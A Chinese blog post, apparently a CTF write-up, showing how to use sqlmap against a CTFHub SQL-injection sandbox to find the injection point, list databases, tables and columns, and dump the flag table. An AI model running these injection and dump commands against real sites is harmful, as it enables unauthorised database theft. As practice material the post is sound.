sqlmap使用

Posted 毅xiu

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap使用相关的知识,希望对你有一定的参考价值。

渗透测试工具之sqlmap

工具介绍

一款开源的SQL注入工具,适用于win和kali(本文使用debian)。现在使用最新版sqlmap,通过安装可以实现在Python3的环境里运行。

应用环境

CTFHub平台中的SQL注入相关题目
链接:https://www.ctfhub.com

整型溢出

判断是否存在注入

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1  --batch


根据扫描结果,判断可能存在:

  1. 盲注
  2. 联合查询

爆出数据库

注意“–” “-”的使用,否则会报错

  1. 爆所有数据库
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -dbs --batch 


2. 爆当前数据库

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --current-db --batch  


得到的数据库“sqli”

爆表名

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch 


得到 flag 表 与 news表,猜测flag信息在第一个表中

爆列名

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch


列名:flag

取值

其他文章的方法如下,

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -D flag --dump --batch

不知道为什么在自己的环境里面会报错

错误提示:unable to retrieve column names for table ‘flag’ in database ‘flag’
但是,命令按照逻辑似乎没有问题
解决:更改命令顺序如下:

sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --dump -C flag -T flag -D sqli 

最后问题解决,得到最终的flag

总结

之前使用SQL注入,采用手动注入再结合python进行遍历,常常因为网络抖动,获取flag相对比较麻烦。用工具会快一些,但是原理理解还是需要手动注入实践。

以上是关于sqlmap使用的主要内容,如果未能解决你的问题,请参考以下文章

整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)

如何使用 xampp 设置 sqlmap 注入?

阅读sqlmap源代码,编写burpsuite插件--sqlmapapi

阅读sqlmap源代码,编写burpsuite插件--sqlmapapi

关于拼接SQL语句sqlMap的使用方法

SQLMap 源码阅读